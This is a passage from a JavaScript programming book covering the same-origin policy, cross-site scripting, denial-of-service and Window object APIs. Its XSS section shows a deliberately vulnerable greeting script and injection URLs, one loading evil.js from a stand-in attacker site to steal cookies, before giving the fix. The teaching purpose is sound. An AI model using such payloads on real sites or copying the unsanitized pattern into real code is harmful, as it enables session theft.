The *same-origin policy* is a sweeping security restriction on what web content JavaScript code can interact with. It typically comes into play when a web page includes `<iframe>` elements or opens other browser windows. In this case, the same-origin policy governs the interactions of JavaScript code in one window or frame with the content of other windows and frames. Specifically, a script can read only the properties of windows and documents that have the same origin as the document that contains the script (see §14.8 to learn how to use JavaScript with multiple windows and frames).

The *origin* of a document is defined as the protocol, host, and port of the URL from which the document was loaded. Documents loaded from different web servers have different origins. Documents loaded through different ports of the same host have different origins. And a document loaded with the `http:` protocol has a different origin than one loaded with the `https:` protocol, even if they come from the same web server.

It is important to understand that the origin of the script itself is not relevant to the same-origin policy: what matters is the origin of the document in which the script is embedded. Suppose, for example, that a script hosted by host A is included (using the `src` property of a `<script>` element) in a web page served by host B. The origin of that script is host B and the script has full access to the content of the document that contains it. If the script opens a new window and loads a second document from host B, the script also has full access to the content of that second document. But if the script opens a third window and loads a document from host C (or even one from host A) into it, the same-origin policy comes into effect and prevents the script from accessing this document.

The same-origin policy does not actually apply to all properties of all objects in a window from a different origin. But it does apply to many of them, and, in particular, it applies to practically all the properties of the Document object. You should consider any window or frame that contains a document from another server to be off-limits to

your scripts. If your script opened the window, your script can close it, but it cannot "look inside" the window in any way. The same-origin policy also applies to scripted HTTP requests made with the XMLHttpRequest object (see Chapter 18). This object allows client-side JavaScript code to make arbitrary HTTP requests to the web server from which the containing document was loaded, but it does not allow scripts to communicate with other web servers.

The same-origin policy is necessary to prevent scripts from stealing proprietary information. Without this restriction, a malicious script (loaded through a firewall into a browser on a secure corporate intranet) might open an empty window, hoping to trick the user into using that window to browse files on the intranet. The malicious script would then read the content of that window and send it back to its own server. The same-origin policy prevents this kind of behavior.

13.6.2.1 Relaxing the same-origin policy

In some circumstances, the same-origin policy is too restrictive. This section describes three techniques for relaxing it.

The same-origin policy poses problems for large websites that use multiple subdomains. For example, a script in a document from *home.example.com* might legitimately want to read properties of a document loaded from *developer.example.com*, or scripts from *orders.example.com* might need to read properties from documents on *catalog.example.com*. To support multidomain websites of this sort, you can use the `domain` property of the Document object. By default, the `domain` property contains the hostname of the server from which the document was loaded. You can set this property, but only to a string that is a valid domain suffix of itself. Thus, if `domain` is originally the string "home.example.com", you can set it to the string "example.com", but not to "home.example" or "ample.com". Furthermore, the `domain` value must have at least one dot in it; you cannot set it to "com" or any other top-level domain.

If two windows (or frames) contain scripts that set `domain` to the same value, the same-origin policy is relaxed for these two windows, and each window can interact with the other. For example, cooperating scripts in documents loaded from *orders.example.com* and *catalog.example.com* might set their `document.domain` properties to "example.com", thereby making the documents appear to have the same origin and enabling each document to read properties of the other.

The second technique for relaxing the same-origin policy is being standardized under the name Cross-Origin Resource Sharing (see *http://www.w3.org/TR/cors/*). This draft standard extends HTTP with a new `Origin:` request header and a new `Access-Control-Allow-Origin` response header. It allows servers to use a header to explicitly list origins that may request a file or to use a wildcard and allow a file to be requested by any site. Browsers such as Firefox 3.5 and Safari 4 use this new header to allow the cross-origin HTTP requests with XMLHttpRequest that would otherwise have been forbidden by the same-origin policy.

Another new technique, known as cross-document messaging, allows a script from one document to pass textual messages to a script in another document, regardless of the script origins. Calling the `postMessage()` method on a Window object results in the asynchronous delivery of a message event (you can handle it with an `onmessage` event handler function) to the document in that window. A script in one document still cannot invoke methods or read properties of the other document, but they can communicate safely through this message-passing technique. See §22.3 for more on the cross-document messaging API.

13.6.3 Scripting Plug-ins and ActiveX Controls

Although the core JavaScript language and the basic client-side object model lack the filesystem and networking features that the worst malicious code requires, the situation is not quite as simple as it appears. In many web browsers, JavaScript is used as a "script engine" for ActiveX controls (in IE) or plug-ins (other browsers). The Flash and Java plug-ins are commonly installed examples, and they expose important and powerful features to client-side scripts.

There are security implications to being able to script ActiveX controls and plug-ins. Java applets, for example, have access to low-level networking capabilities. The Java security "sandbox" prevents applets from communicating with any server other than the one from which they were loaded, so this does not open a security hole. But it exposes the basic problem: if plug-ins are scriptable, you must trust not just the web browser's security architecture, but also the plug-in's security architecture. In practice, the Java and Flash plug-ins seem to have robust security and they are actively maintained and updated when security holes are discovered. ActiveX scripting has had a more checkered past, however. The IE browser has access to a variety of scriptable ActiveX controls that are part of the Windows operating system, and in the past some of these scriptable controls have included exploitable security holes.

13.6.4 Cross-Site Scripting

Cross-site scripting, or XSS, is a term for a category of security issues in which an attacker injects HTML tags or scripts into a target website. Defending against XSS attacks is typically the job of server-side web developers. However, client-side JavaScript programmers must also be aware of, and defend against, cross-site scripting.

A web page is vulnerable to cross-site scripting if it dynamically generates document content and bases that content on user-submitted data without first "sanitizing" that data by removing any embedded HTML tags from it. As a trivial example, consider the following web page that uses JavaScript to greet the user by name:

```
<script>
var name = decodeURIComponent(window.location.search.substring(1)) || "";
document.write("Hello " + name);
</script>
```

This two-line script uses `window.location.search` to obtain the portion of its own URL that begins with ?. It uses `document.write()` to add dynamically generated content to the document. This page is intended to be invoked with a URL like this:

```
http://www.example.com/greet.html?David
```

When used like this, it displays the text "Hello David". But consider what happens when it is invoked with this URL:

```
http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E
```

With this URL, the script dynamically generates another script (`%3C` and `%3E` are codes for angle brackets)! In this case, the injected script simply displays a dialog box, which is relatively benign. But consider this case:

```
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
```

Cross-site scripting attacks are so called because more than one site is involved. Site B (or some other site C) includes a specially crafted link (like the one above) to site A that injects a script from site B. The script *evil.js* is hosted by the evil site B, but it is now embedded in site A, and it can do absolutely anything it wants with site A's content. It might deface the page or cause it to malfunction (such as by initiating one of the denial-of-service attacks described in the next section). This would be bad for site A's customer relations. More dangerously, the malicious script can read cookies stored by site A (perhaps account numbers or other personally identifying information) and send that data back to site B. The injected script can even track the user's keystrokes and send that data back to site B.

In general, the way to prevent XSS attacks is to remove HTML tags from any untrusted data before using it to create dynamic document content. You can fix the *greet.html* file shown earlier by adding this line of code to remove the angle brackets around `<script>` tags:

```
name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");
```

The simple code above replaces all angle brackets in the string with their corresponding HTML entities, thereby escaping and deactivating any HTML tags in the string. IE8 defines a more nuanced `toStaticHTML()` method that removes `<script>` tags (and any other potentially executable content) without altering nonexecutable HTML. `toStaticHTML()` is not standardized, but it is straightforward to write your own HTML sanitizer function like this in core JavaScript.

HTML5 goes beyond content sanitation strategies and is defining a `sandbox` attribute for the `<iframe>` element. When implemented, this should allow the safe display of untrusted content, with scripts automatically disabled.

Cross-site scripting is a pernicious vulnerability whose roots go deep into the architecture of the Web. It is worth understanding this vulnerability in depth, but further discussion is beyond the scope of this book. There are many online resources to help you defend against cross-site scripting. One important primary source is the original CERT Advisory about this problem: *http://www.cert.org/advisories/CA-2000-02.html*.

13.6.5 Denial-of-Service Attacks

The same-origin policy and other security restrictions described here do a good job of preventing malicious code from damaging your data or compromising your privacy. They do not protect against brute-force denial-of-service attacks, however. If you visit a malicious website with JavaScript enabled, that site can tie up your browser with an infinite loop of `alert()` dialog boxes or can slow down your CPU with an infinite loop or a meaningless computation.

Some browsers detect repeated dialog boxes and long-running scripts and give the user the option to stop them. But malicious code can use methods such as `setInterval()` to load the CPU and can also attack your system by allocating lots of memory. There is no general way that web browsers can prevent this kind of ham-handed attack. In practice, this is not a common problem on the Web since no one returns to a site that engages in this kind of scripting abuse!

13.7 Client-Side Frameworks

Many web developers find it useful to build their web applications on top of a client-side framework library. These libraries are "frameworks" in the sense that they build a new higher-level API for client-side programming on top of the standard and proprietary APIs offered by web browsers: once you adopt a framework, your code needs to be written to use the APIs defined by that framework. The obvious benefit of using a framework is that it is a higher-level API that allows you to do more with less code. A well-written framework will also address many of the compatibility, security, and accessibility issues described above.

This book documents jQuery, one of the most popular frameworks, in Chapter 19. If you decide to adopt jQuery for your projects, you should still read the chapters leading up to Chapter 19; understanding the low-level APIs will make you a better web developer, even if you rarely need to use those APIs directly.

There are many JavaScript frameworks other than jQuery—many more than I can list here. Some of the best known and most widely used open source frameworks include:

Prototype
: The Prototype library (*http://prototypejs.org*) focuses on DOM and Ajax utilities, like jQuery does, and adds quite a few core-language utilities as well. The Scriptaculous library (*http://script.aculo.us/*) can be added on for animations and visual effects.

Dojo
: Dojo (*http://dojotoolkit.org*) is a large framework that advertises its "incredible depth." It includes an extensive set of UI widgets, a package system, a data abstraction layer, and more.

YUI

YUI (*http://developer.yahoo.com/yui/*) is the in-house library of Yahoo!, and it is used on their home page. Like Dojo, it is a large, all-encompassing library with language utilities, DOM utilities, UI widgets, and so on. There are actually two incompatible versions of YUI, known as YUI 2 and YUI 3.

Closure

The Closure library (*http://code.google.com/closure/library/*) is the client-side library that Google uses for Gmail, Google Docs, and other web applications. This library is intended to be used with the Closure compiler (*http://code.google.com/closure/compiler/*), which strips out unused library functions. Because unused code is stripped out before deployment, the designers of the Closure library did not need to keep the feature set compact, so Closure has a sprawling set of utilities.

GWT

GWT, the Google Web Toolkit (*http://code.google.com/webtoolkit/*), is a completely different kind of client-side framework. It defines a web application API in Java and provides a compiler to translate your Java programs into compatible client-side JavaScript. GWT is used in some of Google's products, but it is not as widely used as their Closure library.

CHAPTER 14

The Window Object

Chapter 13 introduced the Window object and the central role it plays in client-side JavaScript: it is the global object for client-side JavaScript programs. This chapter covers the properties and methods of the Window object. These properties define a number of different APIs, only some of which are actually related to the browser windows for which the Window object was named. This chapter covers the following:

- §14.1 shows how to use `setTimeout()` and `setInterval()` to register a function to be invoked at specified times in the future.
- §14.2 explains how to use the `location` property to obtain the URL of the currently displayed document and to load new documents.
- §14.3 covers the `history` property, and shows how to move the browser backward and forward through its history.
- §14.4 shows how to use the `navigator` property to obtain browser vendor and version information and how to use the `screen` property to query the size of the desktop.
- §14.5 shows how to display simple text dialogs with the `alert()`, `confirm()`, and `prompt()` methods and how to display HTML dialog boxes with `showModalDialog()`.
- §14.6 explains how you can register an `onerror` handler method to be invoked when uncaught JavaScript exceptions occur.
- §14.7 explains that the IDs and names of HTML elements are used as properties of the Window object.
- §14.8 is a long section that explains how to open and close browser windows and how to write JavaScript code that works with multiple windows and nested frames.

14.1 Timers

`setTimeout()` and `setInterval()` allow you to register a function to be invoked once or repeatedly after a specified amount of time has elapsed. These are important global functions of client-side JavaScript, and are therefore defined as methods of Window,

but they are general-purpose functions and don't really have anything to do with the window.

The `setTimeout()` method of the Window object schedules a function to run after a specified number of milliseconds elapses. `setTimeout()` returns a value that can be passed to `clearTimeout()` to cancel the execution of the scheduled function.

`setInterval()` is like `setTimeout()` except that the specified function is invoked repeatedly at intervals of the specified number of milliseconds:

```
setInterval(updateClock, 60000);  // Call updateClock() every 60 seconds
```

Like `setTimeout()`, `setInterval()` returns a value that can be passed to `clearInterval()` to cancel any future invocations of the scheduled function.

Example 14-1 defines a utility function that waits a specified amount of time, invokes a function repeatedly, and then cancels the invocations after another specified amount of time. It demonstrates `setTimeout()`, `setInterval()`, and `clearInterval()`.

Example 14-1. A timer utility function

```
/*
 * Schedule an invocation or invocations of f() in the future.
 * Wait start milliseconds, then call f() every interval milliseconds,
 * stopping after a total of start+end milliseconds.
 * If interval is specified but end is omitted, then never stop invoking f.
 * If interval and end are omitted, then just invoke f once after start ms.
 * If only f is specified, behave as if start was 0.
 * Note that the call to invoke() does not block: it returns right away.
 */
function invoke(f, start, interval, end) {
    if (!start) start = 0;          // Default to 0 ms
    if (arguments.length <= 2)      // Single-invocation case
        setTimeout(f, start);       // Single invocation after start ms.
    else {                          // Multiple invocation case
        setTimeout(repeat, start);  // Repetitions begin in start ms
        function repeat() {         // Invoked by the timeout above
            var h = setInterval(f, interval); // Invoke f every interval ms.
            // And stop invoking after end ms, if end is defined
            if (end) setTimeout(function() { clearInterval(h); }, end);
        }
    }
}
```

For historical reasons, you can pass a string as the first argument to `setTimeout()` and `setInterval()`. If you do this, the string will be evaluated (as with `eval()`) after the specified timeout or interval. The HTML5 specification (and all browsers except IE) allow additional arguments to `setTimeout()` and `setInterval()` after the first two. Any such arguments are passed to the function that is invoked. If portability with IE is required, however, you shouldn't use this feature.

If you call `setTimeout()` with a time of 0 ms, the function you specify is not invoked right away. Instead, it is placed on a queue to be invoked "as soon as possible" after any currently pending event handlers finish running.

14.2 Browser Location and Navigation

The `location` property of the Window object refers to a Location object, which represents the current URL of the document displayed in the window, and which also defines methods for making the window load a new document.

The `location` property of the Document object also refers to the Location object:

```
window.location === document.location   // always true
```

The Document object also has a `URL` property, which is a static string that holds the URL of the document when it was first loaded. If you navigate to fragment identifiers (like "#table-of-contents") within the document, the Location object is updated to reflect this, but the `document.URL` property remains unchanged.

14.2.1 Parsing URLs

The `location` property of a window is a reference to a Location object; it represents the current URL of the document being displayed in that window. The `href` property of the Location object is a string that contains the complete text of the URL. The `toString()` method of the Location object returns the value of the `href` property, so in contexts that will implicitly invoke `toString()`, you can just write `location` rather than `location.href`.

Other properties of this object—`protocol`, `host`, `hostname`, `port`, `pathname`, `search`, and `hash`—specify the various individual parts of the URL. They are known as "URL decomposition" properties, and they are also supported by Link objects (created by `<a>` and `<area>` elements in HTML documents). See the `Location` and `Link` entries in Part IV for further details.

The `hash` and `search` properties of the Location object are interesting ones. The `hash` property returns the "fragment identifier" portion of the URL, if there is one: a hash mark (#) followed by an element ID. The `search` property is similar. It returns the portion of the URL that starts with a question mark: often some sort of query string. In general, this portion of a URL is used to parameterize the URL and provides a way to embed arguments in it. While these arguments are usually intended for scripts run on a server, there is no reason why they cannot also be used in JavaScript-enabled pages. Example 14-2 shows the definition of a general-purpose `urlArgs()` function you can use to extract arguments from the `search` property of a URL. The example uses `decodeURIComponent()`, which is a global function defined by client-side JavaScript. (See `Global` in Part III for details.)

Example 14-2. Extracting arguments from the search string of a URL

```
/*
 * This function parses ampersand-separated name=value argument pairs from
 * the query string of the URL. It stores the name=value pairs in
 * properties of an object and returns that object. Use it like this:
 *
 * var args = urlArgs();  // Parse args from URL
 * var q = args.q || "";  // Use argument, if defined, or a default value
 * var n = args.n ? parseInt(args.n) : 10;
 */
function urlArgs() {
    var args = {};                              // Start with an empty object
    var query = location.search.substring(1);  // Get query string, minus '?'
    var pairs = query.split("&");               // Split at ampersands
    for(var i = 0; i < pairs.length; i++) {    // For each fragment
        var pos = pairs[i].indexOf('=');       // Look for "name=value"
        if (pos == -1) continue;               // If not found, skip it
        var name = pairs[i].substring(0,pos);  // Extract the name
        var value = pairs[i].substring(pos+1); // Extract the value
        value = decodeURIComponent(value);     // Decode the value
        args[name] = value;                    // Store as a property
    }
    return args;                                // Return the parsed arguments
}
```

14.2.2 Loading New Documents

The `assign()` method of the Location object makes the window load and display the document at the URL you specify. The `replace()` method is similar, but it removes the current document from the browsing history before loading the new document. When a script unconditionally loads a new document, the `replace()` method is often a better choice than `assign()`. Otherwise, the Back button would take the browser back to the original document, and the same script would again load the new document. You might use `location.replace()` to load a static HTML version of your web page if you detected that the user's browser did not have the features required to display the full-featured version:

```
// If the browser does not support the XMLHttpRequest object
// redirect to a static page that does not require it.
if (!XMLHttpRequest) location.replace("staticpage.html");
```

Notice that the URL passed to `replace()` is a relative one. Relative URLs are interpreted relative to the page in which they appear, just as they would be if they were used in a hyperlink.

In addition to the `assign()` and `replace()` methods, the Location object also defines `reload()`, which makes the browser reload the document.

A more traditional way to make the browser navigate to a new page is to simply assign the new URL directly to the location property:

```
location = "http://www.oreilly.com"; // Go buy some books!
```

You can also assign relative URLs to `location`. They are resolved against the current URL:

```
location = "page2.html";            // Load the next page
```

A bare fragment identifier is a special kind of relative URL that does not cause the browser to load a new document but simply scroll to display a new section of the document. The identifier `#top` is a special case: if no document element has the ID "top", it makes the browser jump to the start of the document:

```
location = "#top";                  // Jump to the top of the document
```

The URL decomposition properties of the Location object are writable, and setting them changes the location URL and also causes the browser to load a new document (or, in the case of the `hash` property, to navigate within the current document):

```
location.search = "?page=" + (pagenum+1);  // load the next page
```

14.3 Browsing History

The `history` property of the Window object refers to the History object for the window. The History object models the browsing history of a window as a list of documents and document states. The `length` property of the History object specifies the number of elements in the browsing history list, but for security reasons scripts are not allowed to access the stored URLs. (If they could, any scripts could snoop through your browsing history.)

The History object has `back()` and `forward()` methods that behave like the browser's Back and Forward buttons do: they make the browser go backward or forward one step in its browsing history. A third method, `go()`, takes an integer argument and can skip any number of pages forward (for positive arguments) or backward (for negative arguments) in the history list:

```
history.go(-2);   // Go back 2, like clicking the Back button twice
```

If a window contains child windows (such as `<iframe>` elements—see §14.8.2), the browsing histories of the child windows are chronologically interleaved with the history of the main window. This means that calling `history.back()` (for example) on the main window may cause one of the child windows to navigate back to a previously displayed document but leave the main window in its current state.

Modern web applications can dynamically alter their own content without loading a new document (see Chapters 15 and 18, for example). Applications that do this may want to allow the user to use the Back and Forward buttons to navigate between these dynamically created application states. HTML5 standardizes two techniques for doing this, and they are described in §22.2.

History management before HTML5 is a more complex problem. An application that manages its own history must be able to create a new entry in the window browsing history, associate its state information with that history entry, determine when the user

has used the Back button to move to a different history entry, get the state information associated with that entry, and re-create the previous state of the application. One approach uses a hidden `<iframe>` to save state information and create entries in the browser's history. In order to create a new history entry, you dynamically write a new document into this hidden frame using the `open()` and `write()` methods of the Document object (see §15.10.2). The document content should include whatever state information is required to re-create the application state. When the user clicks the Back button, the content of the hidden frame will change. Before HTML5, no events are generated to notify you of this change, however, so in order to detect that the user has clicked Back you might use `setInterval()` (§14.1) to check the hidden frame two or three times a second to see if it has changed.

In practice, developers who need this kind of pre-HTML5 history management usually rely on a prebuilt solution. Many JavaScript frameworks include one. There is a history plug-in for jQuery, for example, and standalone history management libraries are also available. RSH (Really Simple History) is one popular example. You can find it at *http://code.google.com/p/reallysimplehistory/*. §22.2 explains how to do history management with HTML5.

14.4 Browser and Screen Information

Scripts sometimes need to obtain information about the web browser in which they are running or the desktop on which the browser appears. This section describes the `navigator` and `screen` properties of the Window object. Those properties refer to Navigator and Screen objects, respectively, and these objects provide information that allows a script to customize its behavior based on its environment.

14.4.1 The Navigator Object

The `navigator` property of a Window object refers to a Navigator object that contains browser vendor and version number information. The Navigator object is named after the early Navigator browser from Netscape, but it is also supported by all other browsers. (IE also supports `clientInformation` as a vendor-neutral synonym for `navigator`. Unfortunately, other browsers have not adopted this more sensibly named property.)

In the past, the Navigator object was commonly used by scripts to determine if they were running in Internet Explorer or Netscape. This "browser-sniffing" approach is problematic because it requires constant tweaking as new browsers and new versions of existing browsers are introduced. Today, feature testing (see §13.4.3) is preferred: rather than making assumptions about particular browser versions and their features, you simply test for the feature (i.e., the method or property) you need.

Browser sniffing is sometimes still valuable, however, such as when you need to work around a specific bug that exists in a specific version of a specific browser. The Navigator object has four properties that provide information about the browser that is running, and you can use these properties for browser sniffing:

`appName`
: The full name of the web browser. In IE, this is "Microsoft Internet Explorer". In Firefox, this property is "Netscape". For compatibility with existing browser-sniffing code, other browsers often report the name "Netscape" as well.

`appVersion`
: This property typically begins with a number and follows that with a detailed string that contains browser vendor and version information. The number at the start of this string is often 4.0 or 5.0 to indicate generic compatibility with fourth- and fifth-generation browsers. There is no standard format for the `appVersion` string, so parsing it in a browser-independent way isn't possible.

`userAgent`
: The string that the browser sends in its `USER-AGENT` HTTP header. This property typically contains all the information in `appVersion` and may contain additional details as well. Like `appVersion`, there is no standard format. Since this property contains the most information, browser-sniffing code typically uses it.

`platform`
: A string that identifies the operating system (and possibly the hardware) on which the browser is running.

The complexity of the Navigator properties demonstrates the futility of the browser-sniffing approach to client-side compatibility. In the early days of the Web, lots of browser-specific code was written that tested properties like `navigator.appName`. As new browsers were written, vendors discovered that in order to correctly display existing websites, they had to set the `appName` property to "Netscape". A similar process caused the number at the start of the `appVersion` to lose meaning, and today browser-sniffing code must rely on the `navigator.userAgent` string and is more complicated than it once was. Example 14-3 shows how to use regular expressions (from jQuery) to extract the browser name and version number from `navigator.userAgent`.

Example 14-3. Browser sniffing using navigator.userAgent

```
// Define browser.name and browser.version for client sniffing, using code
// derived from jQuery 1.4.1. Both the name and number are strings, and both
// may differ from the public browser name and version. Detected names are:
//
//   "webkit": Safari or Chrome; version is WebKit build number
//   "opera": the Opera browser; version is the public version number
//   "mozilla": Firefox or other gecko-based browsers; version is Gecko version
//   "msie": IE; version is public version number
//
// Firefox 3.6, for example, returns: { name: "mozilla", version: "1.9.2" }.
var browser = (function() {
     var s = navigator.userAgent.toLowerCase();
     var match = /(webkit)[ \/]([\w.]+)/.exec(s) ||
     /(opera)(?:.*version)?[ \/]([\w.]+)/.exec(s) ||
     /(msie) ([\w.]+)/.exec(s) ||
     !/compatible/.test(s) && /(mozilla)(?:.*? rv:([\w.]+))?/.exec(s) ||
     [];
```


Download from Wow! eBook <www.wowebook.com>

```
    return { name: match[1] || "", version: match[2] || "0" };
}());
```

In addition to its browser vendor and version information properties, the Navigator object has some miscellaneous properties and methods. The standardized and widely implemented nonstandard properties include:

`onLine`
: The `navigator.onLine` property (if it exists) specifies whether the browser is currently connected to the network. Applications may want to save state locally (using techniques from Chapter 20) while they are offline.

`geolocation`
: A Geolocation object that defines an API for determining the user's geographical location. See §22.1 for details.

`javaEnabled()`
: A nonstandard method that should return `true` if the browser can run Java applets.

`cookiesEnabled()`
: A nonstandard method that should return `true` if the browser can store persistent cookies. May not return the correct value if cookies are configured on a site-by-site basis.

14.4.2 The Screen Object

The `screen` property of a Window object refers to a Screen object that provides information about the size of the user's display and the number of colors available on it. The `width` and `height` properties specify the size of the display in pixels. The `availWidth` and `availHeight` properties specify the display size that is actually available; they exclude the space required by features such as a desktop taskbar. The `colorDepth` property specifies the bits-per-pixel value of the screen. Typical values are 16, 24, and 32.

The `window.screen` property and the Screen object to which it refers are both nonstandard but widely implemented. You might use the Screen object to determine whether your web app is running in a small form factor device such as a netbook computer. If screen space is limited, you might choose to use smaller fonts and images, for example.

14.5 Dialog Boxes

The Window object provides three methods for displaying simple dialog boxes to the user. `alert()` displays a message to the user and waits for the user to dismiss the dialog. `confirm()` displays a message, waits for the user to click an OK or Cancel button and returns a boolean value. And `prompt()` displays a message, waits for the user to enter a string, and returns that string. The following code uses all three methods:

```
do {
    var name = prompt("What is your name?");                  // Get a string
    var correct = confirm("You entered '" + name + "'.\n" +   // Get a boolean
```

```
                          "Click Okay to proceed or Cancel to re-enter.");
} while(!correct)
alert("Hello, " + name);  // Display a plain message
```

Although the `alert()`, `confirm()`, and `prompt()` methods are very easy to use, good design dictates that you use them sparingly, if at all. Dialog boxes like these are not a common feature on the Web, and most users will find the dialog boxes produced by these methods disruptive to their browsing experience. The only common use for these methods today is debugging: JavaScript programmers sometimes insert `alert()` methods in code that is not working in an attempt to diagnose the problem.

Note that the messages displayed by `alert()`, `confirm()`, and `prompt()` are plain text, not HTML-formatted text. You can format these dialog boxes only with spaces, newlines, and punctuation characters.

The `confirm()` and `prompt()` methods *block*—that is, these methods do not return until the user dismisses the dialog boxes they display. This means that when you pop up one of these boxes, your code stops running, and the currently loading document, if any, stops loading until the user responds with the requested input. In most browsers, the `alert()` method also blocks and waits for the user to dismiss the dialog box, but this is not required. For complete details on these methods, see `Window.alert`, `Window.confirm`, and `Window.prompt` in Part IV.

In addition to the Window methods `alert()`, `confirm()`, and `prompt()`, a more complicated method, `showModalDialog()`, displays a modal dialog box containing HTML-formatted content and allows arguments to be passed to, and a value returned from, the dialog. `showModalDialog()` displays a modal dialog in a browser window of its own. The first argument is the URL that specifies the HTML content of the dialog box. The second argument is an arbitrary value (arrays and objects are allowed) that will be made available to scripts in the dialog as the value of the `window.dialogArguments` property. The third argument is a nonstandard list of semicolon-separated name=value pairs that, if supported, may configure the size or other attributes of the dialog. Use "dialogwidth" and "dialogheight" to set the size of the dialog window, and use "resizable=yes" to allow the user to resize the window.

The window displayed by this method is modal, and the call to `showModalDialog()` does not return until the window is closed. When the window closes, the value of the `window.returnValue` property becomes the return value of the method call. The HTML content of the dialog must typically include an OK button that sets `returnValue`, if desired, and calls `window.close()` (see §14.8.1.1).

Example 14-4 is an HTML file suitable for use with `showModalDialog()`. The comment at the top of the code includes a sample invocation of `showModalDialog()`, and Figure 14-1 shows the dialog created by the sample call. Note that most of the text that appears in the dialog comes from the second argument to `showModalDialog()`, rather than being hard-coded in the HTML.

Figure 14-1. An HTML dialog displayed with showModalDialog()

Example 14-4. An HTML file for use with showModalDialog()

```
<!--
  This is not a stand-alone HTML file. It must be invoked by showModalDialog().
  It expects window.dialogArguments to be an array of strings.
  The first element of the array is displayed at the top of the dialog.
  Each remaining element is a label for a single-line text input field.
  Returns an array of input field values when the user clicks Okay.
  Use this file with code like this:

  var p = showModalDialog("multiprompt.html",
                          ["Enter 3D point coordinates", "x", "y", "z"],
                          "dialogwidth:400; dialogheight:300; resizable:yes");
  -->
<form>
<fieldset id="fields"></fieldset> <!-- Dialog body filled in by script below -->
<div style="text-align:center">   <!-- Buttons to dismiss the dialog -->
<button onclick="okay()">Okay</button>     <!-- Set return value and close -->
<button onclick="cancel()">Cancel</button> <!-- Close with no return value -->
</div>
<script>
// Create the HTML for the dialog body and display it in the fieldset
var args = dialogArguments;
var text = "<legend>" + args[0] + "</legend>";
for(var i = 1; i < args.length; i++)
    text += "<label>" + args[i] + ": <input id='f" + i + "'></label><br>";
document.getElementById("fields").innerHTML = text;

// Close the dialog without setting a return value
function cancel() { window.close(); }

// Read the input field values and set a return value, then close
function okay() {
    window.returnValue = [];              // Return an array
    for(var i = 1; i < args.length; i++) // Set elements from input fields
        window.returnValue[i-1] = document.getElementById("f" + i).value;
    window.close();  // Close the dialog. This makes showModalDialog() return.
}
</script>
</form>
```

14.6 Error Handling

The `onerror` property of a Window object is an event handler that is invoked when an uncaught exception propagates all the way up the call stack and an error message is about to be displayed in the browser's JavaScript console. If you assign a function to this property, the function is invoked whenever a JavaScript error occurs in that window: the function you assign becomes an error handler for the window.

For historical reasons, the `onerror` event handler of the Window object is invoked with three string arguments rather than with the one event object that is normally passed. (Other client-side objects have `onerror` handlers to handle different error conditions, but these are all regular event handlers that are passed a single event object.) The first argument to `window.onerror` is a message describing the error. The second argument is a string that contains the URL of the JavaScript code that caused the error. The third argument is the line number within the document where the error occurred.

In addition to those three arguments, the return value of the `onerror` handler is significant. If the `onerror` handler returns `false`, it tells the browser that the handler has handled the error and that no further action is necessary—in other words, the browser should not display its own error message. Unfortunately, for historical reasons, an error handler in Firefox must return `true` to indicate that it has handled the error.

The `onerror` handler is a holdover from the early days of JavaScript, when the core language did not include the `try/catch` exception handling statement. It is rarely used in modern code. During development, however, you might define an error handler like this to explicitly notify you when an error occurs:

```
// Display error messages in a dialog box, but never more than 3
window.onerror = function(msg, url, line) {
    if (onerror.num++ < onerror.max) {
        alert("ERROR: " + msg + "\n" + url + ":" + line);
        return true;
    }
}
onerror.max = 3;
onerror.num = 0;
```

14.7 Document Elements As Window Properties

If you name an element in your HTML document using the `id` attribute, and if the Window object does not already have a property by that name, the Window object is given a nonenumerable property whose name is the value of the `id` attribute and whose name is the HTMLElement object that represents that document element.

As we've already noted, the Window object serves as the global object at the top of the scope chain in client-side JavaScript, so this means that the `id` attributes you use in your HTML documents become global variables accessible to your scripts. If your document

includes the element `<button id="okay"/>`, you can refer to that element using the global variable `okay`.

There is an important caveat, however: this doesn't happen if the Window object already has a property by that name. Elements with the ids "history", "location," or "navigator", for example, won't appear as global variables, because those IDs are already in use. Similarly, if your HTML document includes an element whose `id` is "x" and you also declare and assign a value to the global variable `x` in your code, the explicitly declared variable will hide the implicit element variable. If the variable is declared in a script that appears before the named element, its existence will prevent the element from getting a window property of its own. And if the variable is declared in a script that appears after the named element, your explicit assignment to the variable overwrites the implicit value of the property.

In §15.2, you'll learn that you can look up document elements by the value of their HTML `id` attribute using the `document.getElementById()` method. Consider this example:

```
var ui = ["input","prompt","heading"];     // An array of element ids
ui.forEach(function(id) {                  // For each id look up the element
    ui[id] = document.getElementById(id);  // and store it in a property
});
```

After running this code, `ui.input`, `ui.prompt`, and `ui.heading` refer to document elements. A script could use the global variables `input` and `heading` instead of `ui.input` and `ui.heading`. But recall from §14.5 that the Window object has a method named `prompt()`, so a script cannot use the global variable `prompt` instead of `ui.prompt`.

The implicit use of element IDs as global variables is a historical quirk of web browser evolution. It is required for backward compatibility with existing web pages, but its use is not recommended—any time a browser vendor defines a new property of the Window object it breaks any code that uses an implicit definition of that property name. Instead, use `document.getElementById()` to look up elements explicitly. The use of this method seems less onerous if we give it a simpler name:

```
var $ = function(id) { return document.getElementById(id); };
ui.prompt = $("prompt");
```

Many client-side libraries define a `$` function that looks up elements by ID like this. (We'll see in Chapter 19 that jQuery's `$` function is a general-purpose element selection method that returns one or more elements based on their ID, tag name, `class` attribute, or other criteria.)

Any HTML element with an `id` attribute will become the value of a global variable, assuming the ID is not already used by the Window object. The following HTML elements also behave this way when given a `name` attribute:

```
<a> <applet> <area> <embed> <form> <frame> <frameset> <iframe> <img> <object>
```

The `id` element is required to be unique within a document: two elements cannot have the same `id`. This is not true for the `name` attribute, however. If more than one of the

elements above has the same `name` attribute (or if one element has a `name` attribute, and another element has an `id` with the same value), the implicit global variable with that name will refer to an array-like object that holds each of the named elements.

There is a special case for `<iframe>` elements with a `name` or `id` attribute. The implicitly created variable for these elements refers not to the Element object that represents the element itself, but to the Window object that represents the nested browser frame created by the `<iframe>` element. We'll talk about this again in §14.8.2.

14.8 Multiple Windows and Frames

A single web browser window on your desktop may contain several tabs. Each tab is an independent *browsing context*. Each has its own Window object, and each is isolated from all the others. The scripts running in one tab usually have no way of even knowing that the other tabs exist, much less of interacting with their Window objects or manipulating their document content. If you use a web browser that does not support tabs, or if you have tabs turned off, you may have many web browser windows open on your desktop at one time. As with tabs, each desktop window has its own Window object, and each is usually independent of and isolated from all of the others.

